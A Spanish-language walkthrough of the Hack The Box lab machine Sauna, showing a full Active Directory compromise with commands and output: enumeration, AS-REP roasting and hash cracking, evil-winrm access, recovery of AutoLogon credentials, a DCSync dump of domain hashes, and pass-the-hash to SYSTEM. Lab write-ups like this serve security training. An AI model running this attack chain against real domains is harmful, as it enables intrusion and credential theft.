Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Sauna, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Enumeración del sistema, en este caso es de directorio activo (smbmap, smbclient, crackmapexec, LDAP, Kerberos).
- Ataque ASRepRoast utilizando GetNPUsers.py.
- Enumeración de información con WinPEAS.
- Utilización de Bloodhound y Sharphound.exe.
- DCSync attack.
- Pass the hash.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
ping -c 1 10.10.10.175
PING 10.10.10.175 (10.10.10.175) 56(84) bytes of data.
64 bytes from 10.10.10.175: icmp_seq=1 ttl=127 time=138 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap --open -sS -p- -min-rate 5000 -n -Pn 10.10.10.175 -oG ports
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49677/tcp open unknown
49689/tcp open unknown
49696/tcp open unknown
Los puertos expuestos de la máquina nos hacen pensar que se trata de un directorio activo, sin embargo, realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
sudo nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49677,49689,49696 10.10.10.175 -oN ServiceScan
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-07 10:16:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_clock-skew: 7h00m00s
| smb2-time:
| date: 2023-02-07T10:16:56
|_ start_date: N/A
Efectivamente, estamos frente a un directorio activo. En primer lugar, se observa el puerto 445
abierto, el cual corresponde al servicio smb
, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec
:
1
2
3
crackmapexec smb 10.10.10.175
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
Se puede observar que es un DC y que el dominio es EGOTISTICAL-BANK.LOCAL, por lo tanto, abrimos el /etc/hosts e ingresamos dicho nombre de dominio:
1
2
3
4
5
6
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.175 EGOTISTICAL-BANK.LOCAL
Para de esta manera tener conectividad, para comprobarlo utilizamos ping
:
1
2
3
4
ping -c 1 EGOTISTICAL-BANK.LOCAL
PING EGOTISTICAL-BANK.LOCAL (10.10.10.175) 56(84) bytes of data.
64 bytes from EGOTISTICAL-BANK.LOCAL (10.10.10.175): icmp_seq=1 ttl=127 time=136 ms
Luego de comprobar lo anterior, probamos si se pueden listar archivos compartidos en la red, con la herramienta crackmapexec
:
1
2
3
4
crackmapexec smb 10.10.10.175 --shares
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)
Sin embargo, no fue posible. Para seguir la enumeración utilizamos smbmap
:
1
2
3
smbmap -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: EGOTISTICAL-BANK.LOCAL
No tenemos capacidad de lectura de ningún recurso, por lo que no podemos seguir enumerando por smb.
Revisando el archivo de servicios creado por nmap
vemos que está el servicio de LDAP, buscando en la web de HackTricks mencionan formas de utilizar LDAP para enumerar información, en este caso usamos ldapsearch
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
Observamos que existe el context DC=EGOTISTICAL-BANK,DC=LOCAL, filtrando por este nombre buscamos:
1
2
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL'
Esto arroja mucha información, sin embargo, si nos fijamos en las últimas líneas:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Managed Service Accounts, EGOTISTICAL-BANK.LOCAL
dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
# Keys, EGOTISTICAL-BANK.LOCAL
dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
# TPM Devices, EGOTISTICAL-BANK.LOCAL
dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL
# Builtin, EGOTISTICAL-BANK.LOCAL
dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
# Hugo Smith, EGOTISTICAL-BANK.LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
# search reference
ref: ldap://ForestDnsZones.EGOTISTICAL-BANK.LOCAL/DC=ForestDnsZones,DC=EGOTIST
ICAL-BANK,DC=LOCAL
# search reference
ref: ldap://DomainDnsZones.EGOTISTICAL-BANK.LOCAL/DC=DomainDnsZones,DC=EGOTIST
ICAL-BANK,DC=LOCAL
Encontramos un posible nombre de usuario, Hugo Smith.
Probamos si es que este usuario es válido utilizando kerbrute
, ingresamos el nombre Hugo Smith en un archivo de texto llamado names.txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
kerbrute userenum -d 'EGOTISTICAL-BANK.LOCAL' --dc 10.10.10.175 names.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 02/06/23 - Ronnie Flathers @ropnop
2023/02/06 22:59:23 > Using KDC(s):
2023/02/06 22:59:23 > 10.10.10.175:88
2023/02/06 22:59:23 > Done! Tested 1 usernames (0 valid) in 0.176 seconds
Pero no es válido, sin embargo, se pueden probar variaciones de este nombre como HugoSmith, Hugo.Smith, hugosmith, etc. Dichas combinaciones las agregamos al archivo names.txt.
Al ejecutar kerbrute
otra vez tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kerbrute userenum -d 'EGOTISTICAL-BANK.LOCAL' --dc 10.10.10.175 names.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 02/06/23 - Ronnie Flathers @ropnop
2023/02/06 23:02:52 > Using KDC(s):
2023/02/06 23:02:52 > 10.10.10.175:88
2023/02/06 23:02:52 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2023/02/06 23:02:52 > Done! Tested 6 usernames (1 valid) in 0.141 seconds
Observamos que el nombre hsmith es válido. Sin embargo, no podemos hacer mucho con este nombre, en caso de poder extraer un ticket para poder crackear, kerbrute
ya nos lo habría pasado, por lo tanto, buscamos más nombres.
Llama la antención que el puerto 80 está abierto, específicamente un IIS, entramos a esta página por el navegador:
Si navegamos dentro de la sección About us, en la parte inferior encontramos diversos nombres Fergus Smith, Shaun Coins, Sophie Driver, Bowie Taylor, Hugo Bear, Steven Kerb.
Todos estos nombres los ingresamos a la lista names.txt, escritos de la misma forma que hsmith:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kerbrute userenum -d 'EGOTISTICAL-BANK.LOCAL' --dc 10.10.10.175 names.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 02/06/23 - Ronnie Flathers @ropnop
2023/02/06 23:51:42 > Using KDC(s):
2023/02/06 23:51:42 > 10.10.10.175:88
2023/02/06 23:51:43 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2023/02/06 23:51:43 > [+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$fsmith@EGOTISTICAL-BANK.LOCAL:95aec76a6cc2f05ace293d1202d2e7a7$fed329cbe11f4839114818972f65a86a0ef12e9ca34fd2097f3d2d563091c80e9eac88cbc19f038eab0ec3cc5b4217264ff23b78d2bc499481e2e8c64a9b8ed86df1d64f04584f334df86fcf9415d0c1792e8f787e75b45d6624b6d7a1a9feedc194dd68113ece2fac76a5b1126c5db93c76a7ef8c6b7f7cc37d5d4d90d82ff1930ff2a1a926321cd5e44f7ca3d6733f777f5bb3eca06c7702d9a504abcffe24a489bc195a74baeb4398a7f4059778321779c919a2ee610592783b8bc9e919f688ac6bafd3991a3eea4eeac15ad7f716546425f12050b523b46a7413d58c01f6dd11e3f8106d968f8f0167ca89d38ecbdbcfa0c3b98cd51217999f20265e51e837fa1a55cdbbdd7401dac8fefbbcebb3831c5b787d84
2023/02/06 23:51:43 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2023/02/06 23:51:43 > Done! Tested 7 usernames (2 valid) in 0.150 seconds
Encontramos otro usuario válido, en este caso fsmith, además kerbrute logró extraer el hash pues no requiere de una autenticación previa.
Explotación
Sin embargo, utilizaremos otra herramienta para realizar el ASRepRoast, llamada impacket-GetNPUsers
:
1
2
3
4
5
6
7
8
9
10
11
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile names.txt
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:56e8584ae2edd99e1fcea1e7ffad0b2e$9d2d44cdbe49350f25616e2ea10fb36a06ce491fe2233cac2a280b320a96565293bf3c06a380d7afe224c51d4feaad58aee4aa2905da4df46cb2aa7ce8c5ae0547c8a769c7f234d0979e24117755ff6a11baed82e03043141cb8f5bee8aed57bc28e152bb47a97336ea70e1ae62e1b13ac8739e4dac20e0f024d089c511310a5e73e97dba2d047ea6e8e44fb2e1bce9a40ebf44e6b34b684f08cbd77947a330450b2f51d88524b35c3d11d806ae2fafdff8c269fe9837f498998ad6550f15a78ea5887f79c5c197f43edb69ccd063afaa9536f0787369d2bcbdf59185b8bb44587f032356993ccfbc6ac6c1509d12e370a4740b6d50b22ca0ac3236a381457c8
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
Este hash lo crackeamos con jhon
, utilizando el diccionario rockyou.txt:
1
2
3
4
5
6
7
8
9
10
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:08 DONE (2023-02-07 01:58) 0.1203g/s 1268Kp/s 1268Kc/s 1268KC/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos una contraseña, Thestrokes23 comprobaremos el usuario mediante crackmapexec
:
1
2
3
4
crackmapexec smb 10.10.10.175 -u'fsmith' -p'Thestrokes23'
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
Como está validado intentaremos comprobar si este usuario pertenece al grupo remote management use, pues se tiene que el puerto 5985 está abierto, esto lo realizamos utilizando crackmapexec
:
1
2
3
4
5
crackmapexec winrm 10.10.10.175 -u'fsmith' -p'Thestrokes23'
SMB 10.10.10.175 5985 SAUNA [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP 10.10.10.175 5985 SAUNA [*] http://10.10.10.175:5985/wsman
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
Observamos que si lo es, por lo tanto hacemos uso de evil-winrm
para conectarnos a la máquina:
1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
Hemos vulnerado la máquina y estamos dentro, por lo tanto buscamos la flag del usuario, la cual se encuentra en su directorio personal:
1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir
Directory: C:\Users\FSmith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/7/2023 1:58 AM 34 user.txt
*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
e783e270192f415ead94f8
Escalada de privilegios
En primer lugar, buscamos los usuarios en el sistema:
1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\FSmith> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator FSmith Guest
HSmith krbtgt svc_loanmgr
Observamos que existen otros, el interesante podría ser svc_loanmgr.
Buscamos si tenemos algún privilegio interesante en particular:
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\FSmith> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Pero no hay nada. Buscamos archivos ocultos, pero tampoco hay nada.
Por lo tanto, utilizaremos la herramienta WinPEAS para buscar alguna información o vía para escalar privilegios, para ello pasamos el archivo winPEASx64.exe
a la máquina víctima:
1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\FSmith> upload /home/kali/Downloads/winPEASx64.exe
Info: Uploading /home/kali/Downloads/winPEASx64.exe to C:\Users\FSmith\winPEASx64.exe
Data: 2625536 bytes of 2625536 bytes copied
Info: Upload successful!
Mientras ejecutamos la herramienta vemos algo interesate:
1
2
3
4
5
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
Se tienen las credenciales por defecto de AutoLogon, con crackmapexec
probamos si son correctas:
1
2
3
4
crackmapexec smb 10.10.10.175 -u'svc_loanmgr' -p 'Moneymakestheworldgoround!'
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!
Comprobamos mediante winrm si pertenece al grupo remote management use:
1
2
3
4
5
crackmapexec winrm 10.10.10.175 -u'svc_loanmgr' -p 'Moneymakestheworldgoround!'
SMB 10.10.10.175 5985 SAUNA [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP 10.10.10.175 5985 SAUNA [*] http://10.10.10.175:5985/wsman
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)
Como si pertenece entramos con evil-winrm
:
1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr
Entramos correctamente con el usuario svc_loanmgr, sin embargo, realizando todo lo anterior, de primeras no encontramos nada potencial para escalar privilegios, por lo tanto, utilizaremos BloodHound
para analizar vías potenciales.
Para utilizar BloodHound
necesitas un archivo comprimido que recopile información del sistema, para ellos haremos uso de Sharphound.exe
(Sharphound.ps1 ya no funciona), este ejecutable se puede encontrar en github, dicho archivo lo subimos a la máquina víctima:
1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> upload /home/kali/Downloads/SharpHound.exe
Info: Uploading /home/kali/Downloads/SharpHound.exe to C:\Users\svc_loanmgr\Documents\SharpHound.exe
Data: 1402196 bytes of 1402196 bytes copied
Info: Upload successful!
Luego de ejecutarlo (./SharpHound.exe
), nos arrojará un comprimido con la información obtenida:
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> dir
Directory: C:\Users\svc_loanmgr\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/8/2023 12:58 AM 11453 20230208005806_BloodHound.zip
-a---- 2/8/2023 12:48 AM 1051648 SharpHound.exe
-a---- 2/8/2023 12:58 AM 8601 ZDFkMDEyYjYtMmE1ZS00YmY3LTk0OWItYTM2OWVmMjc5NDVk.bin
Este archivo lo pasamos a nuestro equipo para subirlo a BloodHound
:
1
2
3
4
5
C:\Users\svc_loanmgr\Documents> download ./20230208005806_BloodHound.zip
Info: Downloading ./20230208005806_BloodHound.zip to ./20230208005806_BloodHound.zip
Info: Download successful!
Dentro de BloodHound
subimos el archivo y esperamos que se carguen correctamente:
Luego, entramos de las opciones de análisis de BloodHound
:
Dentro de estas opciones de análisis iremos probando, en este caso, por Dangerous privileges
, lo que nos arrojará el siguiente grafo:
El último usuario corresponde al usuariuo svc_loanmgr, del cual ya tenemos su contraseña.
Se ve el ataque DCSync, para inspeccionar en que consiste hacemos click derecho y help:
Al ya disponer de las credenciales del usuario svc_loanmgr podemos realizar este ataque, para ello utilizaremos impacket-secretdump
(también se podría utilizar mimikatz
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:169b9130c295b7a53c3530976d6d5a88:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:4faee1a41406b9665c2104ad1265214bb0fff97b79a1749f27fc6770e8ddee22
SAUNA$:aes128-cts-hmac-sha1-96:accc3942ac95cec26886e61b6affb5ce
SAUNA$:des-cbc-md5:104c515b86739e08
[*] Cleaning up...
Observamos que tenemos los hashes LM de los usuarios, en este punto se puede intentar realizar un pass the hash con el usuario administrator con lo extraido del exploit, para ello utilizamos psexec.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file RLWZBaJJ.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service xoLS on 10.10.10.175.....
[*] Starting service xoLS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
En este punto solo debemos ingresar al directorio personal del administrador para encontrar la flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 489C-D8FC
Directory of C:\Users\Administrator\Desktop
07/14/2021 02:35 PM <DIR> .
07/14/2021 02:35 PM <DIR> ..
02/07/2023 08:01 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 7,813,935,104 bytes free
C:\Users\Administrator\Desktop> type root.txt
711fa88c7069c8be2f7f
!Listo!
Hemos vulnerado completamente la máquina hasta ser administradores.
Nos vemos, hasta la próxima.